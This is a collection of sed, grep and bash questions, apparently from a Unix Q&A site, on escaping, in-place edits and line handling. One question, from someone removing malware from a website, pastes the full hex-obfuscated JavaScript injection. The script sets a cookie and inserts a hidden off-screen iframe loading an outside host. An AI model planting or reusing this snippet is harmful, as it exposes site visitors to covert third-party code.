eg. txtfile is just [  sed -i 's/[/linux/' txtfile (this gives an error unbalanced brackets ([])) after running the command I wanted to replace [ to linux  I tried \\ at the front, but I don't think it is correct and searched a while couldn't find anything useful. Thanks
17639
Take the following script:  #!/bin/sh sed 's/(127\.0\.1\.1)\s/\1/' [some file]   If I try to run this in sh (dash here), it'll fail because of the parentheses, which need to be escaped. But I don't need to escape the backslashes themselves (between the octets, or in the \s or \1). What's the rule here? What about when I need to use {...} or [...]? Is there a list of what I do and don't need to escape?
83121
I am trying to replace multiple words in a file by using   sed -i #expression1 #expression2   file  Something  123 item1 Something  456 item2 Something  768 item3 Something  353 item4   Output (Desired)  anything  123 stuff1 anything  456 stuff2 anything  768 stuff3 anything  353 stuff4   Try-outs  I can get the following output by using sed -i two times.   sed -i 's/Some/any/g' file  sed -i 's/item/stuff/g' file   Can I have any possible way of making this as a single in-place command like   sed -i 's/Some/any/g' -i 's/item/stuff/g' file   When I tried the above code it takes s/item/stuff/g as a file and tries working on it.
76396
I'm on OSX 10.11.1 and occasionally my bash terminal gets mangled. It often happens when I accidentally cat a binary file. The result can be seen on the image below. The output becomes weird, and I can't type ascii characters anymore.    Even though this happens occasionally, I couldn't find a way to consistently reproduce the issue. Online search recommends doing cat /bin/*, but that works sporadically, only after a couple dozen tries.  I want to do this so I can find an easy solution how to handle this in tmux.  How do I consistently get bash to a "mangled" state? Is there maybe a magic unicode character that can do this?
25031
I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.  What I want to do eventually is to use sed in order to find the malicious code and replace it. In my first attempt I tried to do something like this:  #fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'   Where SEARCH is:  SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28 \x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E \x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62 \x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A \x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E \x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&amp; &amp;_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x 10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_ 0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1 0b1x8);};}; /*236499a9e0b11c0dc3eecf5cf751a097*/'   and REPLACE:  REPLACE=''   I could not get the sed part to work, the grep works.  So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.  Here's the other code:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   This doesn't do anything.  This one does:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'  grep -rl --exclude='*.sh' $INFECTED .   And this one too:  INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?  Thanks =)
6111
I have a file that contains file names. For example:  /tmp/list.txt (it is with the spaces at the start of each line):     /tmp/file.log   /app/nir/home.txt   /etc/config.cust   I want, using one line, to move all the files listed in /tmp/list.txt to /app/dest  So it should be something like this:  cat /tmp/list.txt | xargs mv /app/dest/
96079
I am using the following code to read specific lines in an ASCII file "text.dat"  sed -n '/Columnaxis/p' text.dat   The output is   Columnaxis: 100   In order to output only the second part previous line, I added the following to the previous command line:   sed -n '/Columnaxis/p' text.dat | awk '{ print $2 }'   The output of the last command is "100"  How can I update the last code to output negative numbers, regardless of the number's original sign? ( i.e if the input is "+100" I want the code to output "-100" also if the input is "-100", I want the code to output "-100"  PS. The content of text.dat is something like the following :  Columnaxis: 100 Columnaxis_1: 100 Columnaxis_2: -100 Columnaxis_3: 50 Columnaxis_4: -2.3 Columnaxis_5: 1.2 Columnaxis_6: -5 Columnaxis_7: -2 Columnaxis_8: -4 Columnaxis_9: -2   I want the code to output the following:  Columnaxis: -100   Let's say that the input has "Columnaxis: +100", then I want it to be  Columnaxis: -100
122379
I am trying to write a script that will delete all comments and everything in between inside C files in my current directory. I've been using sed, and this is what I have so far:   sed -i '/ * [^()] */d' *.c  This works when the comments are on the same line as an asterisk or backslash.   However it doesn't work when there is a commented line without a slash or asterisk.   I know sed goes line by line, I just don't know how to tell it to keep deleting until it sees a */.
37813
I want to split 'hello' into h e l l o in an array using only bash, I could do it in sed with sed 's/./&amp; /g' but I want to know how to split a string into an array in Bash when I do not know what the delimiter would be, or the delimiter is any single character.  I don't think I can use ${i// /} without some creativity because the delimiter is an unknown, and I don't think that expression accepts regex.  I tried using BASH_REMATCH with [[ string =~ ([a-z].).* ]] but it doesn't work as I expected.  What is the proper way to use only bash to accomplish a string.split() type of behavior?  The reason is that I am trying to write the rev utility in all bash:    while read data; do   word=($(echo $data|tr ' ' '_'|sed 's/./&amp; /g'))   new=()   i=$((${#word[@]} - 1))   while [[ $i -ge 0 ]]; do     new+=(${word[$i]})     (( i-- ))   done   echo ${new[@]}|tr -d ' '|tr '_' ' '   done   But I used tr and sed, I want to know how to do the split properly and then I will fix it to be all bash.  Just for fun.
73988
Everybody knows :-) that in Windows plain text files lines are terminated with CR+LF, and in Unix&amp;Linux - with LF only. How can I quickly convert all my source code files from one format to another and back?
112590
How do I get from this:  randomcollege-nt\user90   to this:  user90   using sed?
6438
In my bash script I have an external (received from user) string, which I should use in sed pattern.  REPLACE="&lt;funny characters here&gt;" sed "s/KEYWORD/$REPLACE/g"   How can I escape the $REPLACE string so it would be safely accepted by sed as a literal replacement?  NOTE: The KEYWORD is a dumb substring with no matches etc. It is not supplied by user.
26804
I'm so confused with GNU sed, POSIX sed, and BSD sed's myriad of options.  How do I replace literal \n with the newline character using these three sed types?
110012
the text in file looks like this:  [homes]         comment = Home Directories         path =          browseable =          writable = yes         valid users = %S         valid users = MYDOMAIN\%S  [printers]         comment = All Printers         path = /var/spool/samba         browseable = no         guest ok = no         writable = no         printable = yes   i want output as:  [homes]         comment = Home Directories         path = /data         browseable = yes         writable = yes         valid users = %S         valid users = MYDOMAIN\%S  [printers]         comment = All Printers         path = /var/spool/samba         browseable = no         guest ok = no         writable = no         printable = yes   i am using this command:  sed -i "\#path# s#.*#&amp; /data#" file   but it makes changes to everywhere in file where path is located  can anyone help me with this?
105385
I created the following script:  #!bin/bash cat &gt; Top10 &lt;&lt;EOF Linux Mint 17.2 Ubuntu 15.10 Debian GNU/Linux 8.2 Mageria 5 Fedora 23 openSUSE Leap 42.1 Arch Linux CentOS 7.2-1511 PCLinuxOS 2014.12 Slackware Linux 14.1 FreeBSD EOF sed -ri "s/^[^0-9]*$//" Top10 sed -r "s/(.*)([[:space:]][[:digit:]]*.*)$/\2\1/" Top10 | sed -r "s/([[:space:]])([[:digit:]])/\2/" | sed -r "s/([[:digit:]])([[:alpha:]])/\1 \2/" &gt; Top10 sed -r -i "s/(.*)/\L\1/" Top10 sed -r -i "y/[aeiou]/[AEIOU]/" Top10 sort Top10 -g -o Top10 cat Top10   When I run it a few times the following happens:     As you can see sometimes the Top10 file turns out empty and sometimes it turn out the way I needed it to be. I know that the command which replaces the extensions from the end to the front of a line is done poorly. I ran this script on a VMware virtual machine. Could that be the reason?
36992
Is it possible to automatically "add" \left and \right commands in front of all brackets? The source code should be left intact, but LaTeX should interpret every pair of brackets as if they were preceded by such commands. This is because adding \left and \right commands is time consuming and makes source code longer and less readable. I considered defining new commands such as \lb and \rb for \left( and \right), but it doesn't seem very elegant to me: what if I also want to add square brackets for example?  Any ideas? Thanks.
60541
So I've been using 'sed' on linux for a while, but have had a bit of difficulty trying to use it on OSX since 'POSIX sed' and 'GNU sed' have so many little differences.  Currently I'm struggling with how to insert a line of text after a certain line number. (in this case, line 4)  On linux I would do something like this:  sed --in-place "4 a\  mode '0755'" file.txt   So on OSX I tried this:  sed -i "" "4 a\ mode '0755'" file.txt   However this keeps giving me a 'extra characters after \ at the end of a command' error.  Any ideas what's wrong here?  Do I have a typo?  Or am I not understanding another difference between versions of sed?
68545
A related question is .  I often have to edit a large file by removing a few lines from the middle of it. I know which lines I wish to remove and I typically do the following:  sed "linenum1,linenum2 d" input.txt &gt; input.temp   or in-line by adding the -i option. Since I know the line numbers, is there a command to avoid stream-editing and just remove the particular lines? input.txt can be as large as 50 GB.